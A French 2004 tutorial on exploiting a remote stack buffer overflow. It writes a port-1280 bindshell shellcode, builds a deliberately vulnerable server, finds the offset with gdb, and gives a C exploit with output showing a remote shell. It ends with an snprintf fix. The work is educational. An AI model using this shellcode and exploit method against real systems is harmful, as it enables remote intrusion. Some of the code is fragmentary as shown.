AFFICHER CET ARTICLE EN MODE PAGE ENTIERE
SOMMAIRE
1) Introduction
2) Rappel sur les buffers overflows
3) Remote buffer overflow : théorie
4) Ecriture d'un shellcode 'bindshell'
5) Remote buffer overflow: exemple
Aleph1 [1] avec son article intitulé 'Smash the stack for fun and profit' a révolutionné le principe des buffer overflows. Cette technique d'exploitation est surement l'une des plus répandues et, malgré toutes les protections actuelles, l'une des plus exploitées au monde. Les applications touchées par ce type de faille peuvent être de simples programme mais aussi des programmes tournants en permanence sur la machine hôte et attendant une connexion provenant de l'extérieur, ces programmes sont connus sous le nom de démon (daemon). Nous verrons dans cet article qu'il est possible d'exploiter ces programmes de l'extérieur. Des bases en C et Assembleur sont requises si vous voulez comprendre la suite de l'article.
2) Rappel sur les buffers overflows
Un buffer overflow, ou
dépassement de tampon est le fait d'entrer plus de données qu'il
n'est permis dans un espace mémoire (buffer). Le but d'une
exploitation de buffer overflow est de faire exécuter du code arbitraire
à un programme. Le code arbitraire sera executé avec les droits
du
propriétaire et a souvent pour rôle de donner un shell, il est
alors appelé 'shellcode'. Lors d'une attaque par buffer overflow, l'exploit
ne contient pas seulement le shellcode proprement dit. Il se compose en 3
morceaux principaux, en général :
- des NOP
- le shellcode
- l'adresse de retour qui renvoit vers les NOPs.
Le but de cet article étant d'exploiter en remote un buffer overflow
et non pas de comprendre le principe des buffers overflows, je m'arrète
là mais si vous voulez plus d'informations sur le sujet reportez vous
à [1] et [2].
3) Remote buffer overflow: théorie
L'exploitation du 'Remote buffer overflow' est pratiquement identique à l'exploitation dite locale. En effet, c'est toujours la même routine, on recherche l'adresse où l'on va devoir retourner c'est à dire l'adresse du buffer (%esp, le registre qui pointe en haut de la pile). Pour des 'gros' buffers, cette adresse peut être déterminée approximativement puisque l'on remplira le buffer de NOP ( NO OPERATION ). Il faut aussi déterminer la taille du buffer pour que l'exploit puisse 'overwritter' l'adresse de retour (%eip, 'extended instruction pointer' le registre qui pointe vers la prochaine instruction). La différence avec les exploits locaux, c'est qu'il faut utiliser les sockets pour pouvoir envoyer le buffer au server distant. Le shellcode est également différent puisque l'on a pas d'accès direct sur la machine distante, il faudra donc le plus souvent un shellcode qui nous 'bind' un shell sur un port précis.
4) Ecriture d'un shellcode 'bindshell'
La conception du shellcode est sans doute
la chose la plus dur dans l'exploitation d'un buffer overflow, heureusement
pour nous des shellcodes de toutes sortes sont présents sur la toile
mais voyons quand meme comment réalise-t-on un shellcode dans les grandes
lignes. Si cela ne vous suffit pas vous pouvez toujours aller jetter un coup
d'oeil sur l'article de NOCTE
sur la conception avancée de shellcodes [3].
On veut un shellcode qui :
- bind un shell sur le port 1280.
- ne contient pas de null byte (0x00).
- soit de la taille la plus petite possible.
Ici deux possibiltés s'offrent à
nous, soit on écrit le code en C, on le désassemble, on le modifie
et hop!
Exemple de code possible, il bind un shell (/bin/sh) sur le port 1280:
[...] fd=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
bind(fd,(struct sockaddr *)&sin,sizeof(yeah)); |
Ou soit on le fait directement en assembleur. Pour cela on fait une liste des syscalls (appels système) que l'on utilisera pour binder le shell. Ici nous utiliserons: SYS_socketcall qui va tout gerer au niveau de la connexion (connect, bind, listen, accept ...), SYS_dup2, SYS_execve et SYS_exit. On regarde dans asm/unistd.h et linux/net.h (pour SYS_socket) pour avoir plus d'infos sur ces syscalls. On sait alors que:
execve :
%eax
: 0x1b |
dup2 :
%eax
: 0x3f |
socketcall :
%eax
: 0x66 |
Ce syscall permet
de réaliser toutes les opérations liées avec les sockets
c'est à dire que les fonctions telles que connect,
listen, bind
sont réalisées à partir de ce syscall. Ces fonctions
sont appelées à l'aide du registre %ebx.
On peut trouver les numéros de ces fonctions dans linux/net.h.
Ainsi on a:
socket() : %ebx
= 0x1 bind() : %ebx = 0x2 connect() : %ebx = 0x3 listen() : %ebx = 0x4 accept() : %ebx = 0x5 |
exit:
%eax
: 0x1 |
Un petit rappel sur les instructions asm
importantes pour écrire un shellcode :
- CALL : l'instruction
CALL permet d'appeler une sous-routine.
- JMP : l'instruction JMP
effectue un saut vers une autre partie du programme.
- MOV : l'instruction MOV
sert à placer une valeur dans un registre.
- XOR : ou exclusif, dans les shellcodes elle
sert à mettre un registre à 0, ainsi après un xor
%eax,%eax ou
%eax=0. Cette 'technique' permet d'éviter l'utilisation d'opcode
null (0x00).
- PUSH : l'instruction PUSH
permet de placer une valeur sur la pile.
- POP : l'instruction POP
permet de récupérer une valeur posée sur la pile.
- LEAL : Charge une adresse mémoire dans
un registre.
- INC : Incrémente (i++)
Un petit rappel sur les registres les plus 'importants' :
- EAX : registre
accumulateur.
- EBX : registre de base.
- ECX : second registre de base (compteur).
- EDX : troisième registre de base (donnée).
- EIP : pointeur d'instruction.
- ESP : registre qui pointe en haut de la pile.
- EBP : pointeur de base de la pile.
Pour ce genre de shellcode, je préfère prendre la source en C, l'a désassembler pour voir et l'a modifier après. Allons-y:
Je compile le code ci-dessous:
viriiz@null:~$
gcc -static shell.c -o shell |
Je le test :
viriiz@null:~$
./shell & viriiz@null:~$ netstat -an | grep 'LISTEN' tcp 0 0.0.0.0:1280 0.0.0.0:* LISTEN viriiz@null:~$ telnet 127.0.0.1 1280 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. echo ca marche; ca marche |
C'est bon ca marche, on peut maintenant la desassembler. On desassemble petit à petit pour chaque étape, c'est à dire on desassemble d'abord socket, puis connect, puis listen et ainsi de suite pour arriver jusqu'au execve ( exit on sait le faire sans desassembler hein ? ;] ).
viriiz@null:~$
gdb shell -q (gdb) disassemble main Dump of assembler code for function socket: [...] 0x80481e3 <main+19>: push $0x0 0x80481e5 <main+21>: push $0x1 0x80481e7 <main+23>: push $0x2 0x80481e9 <main+25>: call 0x804e950 <socket> End of assembler dump. (gdb) disassemble socket 0x804e950 <socket>: mov %ebx,%edx 0x804e952 <socket+2>: mov $0x66,%eax 0x804e957 <socket+7>: mov $0x1,%ebx 0x804e95c <socket+12>: lea 0x4(%esp,1),%ecx 0x804e960 <socket+16>: int $0x80 0x804e962 <socket+18>: mov %edx,%ebx 0x804e964 <socket+20>: cmp $0xffffff83,%eax 0x804e967 <socket+23>: jae 0x8050460 <__syscall_error> |
On remarque ici que à
'<socket+2>
mov $0x66,%eax' 66 correspond au syscall socket (66h=102d),
on peut remplacer 'mov
$0x66,%eax' par 'mov
$102, %eax' si on a pas l'habitude de l'hexadécimal. On remarque
également que à '<socket+7>
mov $0x1,%ebx' 1 correspond à la fonction
socket(). C'est
bon gdb
nous raconte pas n'importe quoi . On a alors a peu près le code asm
de la fonction socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
On le modifie pour supprimer les x00
avec quelques astuces (en jouant avec les 'petits registres'
8/16 bits ...) et on obtient ça :
xorl
%eax,%eax # on met les registres à 0 xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $0x66,%al # 66h = 102d = socket movb $0x1,%bl # socket() pushl %ecx movb $0x6,%cl # on place les 3 arguments AF_INET SOCK_STREAM IPPROTO_IP pushl %ecx movb $0x1,%cl pushl %ecx movb $0x2,%cl pushl %ecx leal (%esp),%ecx int $0x80 |
On fait pareil pour les autres appels (listen, connect, accept), on fait quelques modifications et on obtient au final le code suivant :
#socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
# listen(fd,0); # accept(fd,struct
sockaddr,16); # dup2(dup,0) # dup2(dup,1) # dup2(dup,2) # execve(/bin/sh,0); |
Le shellcode fait une longeur de 156 bytes et n'est vraiment pas du tout optimisé (mais compréhensible), sachant que le plus petit bindshell pour x86 fait environ 85 bytes, c'est pas terrible mais on va faire avec.
Je compile le code ci-dessus :
viriiz@null:~$ as shell.s -o shell.o ; ld shell.o -o shell |
Je le test :
viriiz@null:~$
./shell & viriiz@null:~$ netstat -an | grep 'LISTEN' tcp 0 0.0.0.0:1280 0.0.0.0:* LISTEN viriiz@null:~$ telnet 127.0.0.1 1280 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. echo ca marche; ca marche |
C'est bon ca marche . On peut passer
à l'exploitation avec un exemple...
PS : Pour ceux qui ont pas tout compris, reportez vous à [3].
5) Remote buffer overflow: exemple
Après la théorie et la création du shellcode, il est temps de faire un petit exemple. On va donc programmer un 'mini server' vulnérable à un buffer overflow. Ce 'mini server' tourne en permanence sur le port 4000. Dès que qu'une personne se connect dessus, il demande son login puis affiche un message de bienvenue du genre 'Bonjour login, bienvenue sur mon server'. Le problème est qu'il n'y a pas de vérification sur la taille du login. Voici la source:
#include
<stdio.h>
int main(int argc,
char *argv[]) |
Je n'ai pas commenté le code, je pense qu'il est assez simple à comprendre si vous ne comprennez pas allez jetter un coup d'oeil sur la programmtion de socket en C. Le problème se situe à la ligne 20 'sprintf(buffer, "\nHello %s ! Welcome to my server !\r\n", name);', on copie la chaine 'Hello 'name' ! Welcome to my server !' dans le buffer sans aucune vérification de taille.
On va maintenant faire nos tests :
viriiz@null:~/RemoteBOF$
gcc -o vuln vuln.c ! Welcome to
my server ! |
Le server marche. On va maintenant essayer d'entrer 'un plus grand' login :
viriiz@null:~/RemoteBOF$
./vuln |
On ouvre un autre terminal :
viriiz@null:~/RemoteBOF$
telnet 127.0.0.1 4000 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. login:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... Connection closed by foreign host. |
On revient sur l'autre terminal et on
observe :
viriiz@null:~/RemoteBOF$
./vuln Segmentation fault |
Notre mini server a 'segfaulté' ;).
On relance le mini server mais cette fois
ci avec gdb (Gnu DeBugger)
:
viriiz@null:~/RemoteBOF$
gdb vuln -q (gdb) run Starting program: /home/viriiz/RemoteBOF/vuln |
On ouvre un terminal et on fait comme
tout à l'heure :
viriiz@null:~/RemoteBOF$
telnet 127.0.0.1 4000 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. login:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A... Connection closed by foreign host. |
On jette un coup d'oeil sur l'autre terminal
( celui avec gdb lancé ) :
viriiz@null:~/RemoteBOF$
gdb -q vuln Program received
signal SIGSEGV, Segmentation fault. |
On remarque ici que le programme quite avec le
signal SIGSERV, l'adresse de retour (%eip)
a été overwritté par nos 'A'
(41 en ASCII). En effet comme la taille de buffer est plus
petite que celle de name lorsque l'on remplit à 'fond' le
tableau name, lors du sprinf, on copie le contenu de
name dans buffer, on a alors un depassement de tampon, les
registres qui suivent le buffer sont ainsi 'écrasées'.
Pour pouvoir exploiter ce buffer overflow, il faut determiner précisement le nombre de 'A' qu'il faut inscrire pour overwritter l'adresse de retour et l'adresse ou 'demarre' le buffer pour pouvoir overwritter l'eip avec cette adresse. Pour cela on peut desassembler le mini server et on regarde combien d'octets sont aloués au buffer ou on peut faire un prog qui va essayer toutes les valeurs possibles de A pour arriver au 'segfault'.
Nous on va désassembler le mini server et rechercher l'espace aloué au buffer. On desassemble la fonction sendstring et on remarque un "sub $0x5f8,%esp" ce qui veut dire que pour les 2 tableaux ( name et buffer ) on aloue précisement 1528 octets. Le problème c'est que nous on veut savoir combien d'espace est aloué pour buffer uniquement. Dans ce cas là je ne vois qu'une solution, c'est de faire des tests. On a un petit indice c'est que la valeur va tourner autour de 510.
On va essayer 514+4+4, on lance le mini
server avec gdb sur un terminal et sur un autre on fait :
viriiz@null:~/RemoteBOF$
perl -e "print 'A'x518; printf'BBBB'" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABBBB viriiz@null:~/RemoteBOF$ telnet 127.0.0.1 4000 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. login: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAABBBB |
On va voir sur l'autre terminal ( celui
avec gdb ) :
Program
received signal SIGSEGV, Segmentation fault 0x42424242 in ?? () |
Bingo! 0x42424242
correspond à notre chaine 'BBBB'
! On sait alors que l'espace aloué au buffer est de 514
octets.
Il ne nous reste plus qu'à connaître l'adresse de début
du buffer. On va reprendre gdb où il est
s'est arrêté c'est à dire après '0x42424242
in ??()':
(gdb)
x/200bx $esp-200 0xbffff9c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9d8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffa00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffa08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffa10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffa18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffa20: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffa28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ... |
Tous nos 'A' sont là . On prend donc une des premières adresses par exemple 0xbffff9e0.
Maintenant nous avons tout pour écrire notre exploit !
Voici le code, je l'explique après
:
#include
<stdio.h> /* shellcode -
bind a shell on port 1280 + bits to cram (nop) + RET char shellcode_ret[]
= int main(int argc,
char *argv[]) { if(argc != 3)
{ for(i=0;i<(OFFSET-sizeof(shellcode_ret));i++) buffer[i] = 0x90; /* on place les NOPs dans buffer */ memcpy(buffer+OFFSET-sizeof(shellcode_ret)
, shellcode_ret, host=gethostbyname(argv[1]); /* on test l'host */ if (host==NULL) s = socket(AF_INET, SOCK_STREAM, 0); /* on crée la socket */ if (s < 0) /* informations
pour la connexion */ if (connect(s,
(struct sockaddr *)&yeah, sizeof(yeah))==-1) /* on se connect */ size = send(s,
buffer, sizeof(buffer), 0); /* on envoi le buffer */ |
Le code est assez simple, on défini la valeur de l'OFFSET ( la taille réelle du buffer + 4 octets pour %ebp + 4 octets pour %eip), on déclare ensuite le shellcode, moi ici j'ai rajouté l'adresse de retour (0xbffff9e0) à la fin du shellcode parce que ca permet d'éviter 3 lignes de code en plus (oui je suis un fainéant). On déclare le buffer de taille [OFFSET] et des variables et une structure pour les sockets et les boucles. Ensuite on place les NOPs (0x90) au début du buffer grâce à une boucle for. J'aurai pu également utilisé memset() aussi. Ensuite on place le shellcode et on l'arrête à la fin de buffer (OFFSET-sizeof(shellcode_ret)) avec la fonction memcpy(), on aurai pu également faire une boucle comme précédement. On initialise ensuite la connexion, et on envoie le buffer. Maintenant on va tester ça :
viriiz@null:~/RemoteBOF$
gcc -o exploit exploit.c viriiz@null:~/RemoteBOF$ ./vuln & viriiz@null:~/RemoteBOF$ ./exploit 127.0.0.1 4000 [!] Exploit success! telnet 127.0.0.1 1280 ! viriiz@null:~/RemoteBOF$ telnet 127.0.0.1 1280 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. uname -a; Linux null 2.4.26 #1 SMP mer avr 21 09:40:45 CEST 2004 i686 GNU/Linux |
C'est bon ca marche !
Voilà c'est finit, j'espère ne pas dis avoir trop de betises . Ici le buffer était assez grand pour y mettre notre shellcode qui bind un shell. Si le buffer aurait été plus petit, on aurait pu faire un shellcode avec une fonction 'originale' plus petit comme par exemple un shellcode qui rajoute un user ou qui rajoute '+ +' au fichier .rhosts. Pour 'sécuriser' le mini server, il aurait fallu utiliser la fonction snprintf à la place de sprintf, cette fonction permet de controler le nombre maximum de caractères à écrire dans le buffer.
Syntaxe:
int
snprintf ( char *str, size_t n,const char *format, ... ); |
Dans notre code, on aurait du mettre:
snprintf(buffer,
sizeof(buffer)-1, "\nHello %s ! Welcome to my server !\r\n",name); buffer[sizeof(buffer)]='\0'; |
[1] Aleph1'Smash the Stack for
Fun and Profit' Phrack #49-0x0e
[2] Nostrobo 'Exploitation Avancée de
Stack Overflow Vulnerabilities'
[3] Nocte 'Fun and Games with evoluates shellcodes',
TDC Mag n°4
[4] rix 'Writing ia32 alphanumeric shellcodes',
Phrack 54-0x0f
BY VIRIIZ
Copyright © 2004 ARENHACK - DHS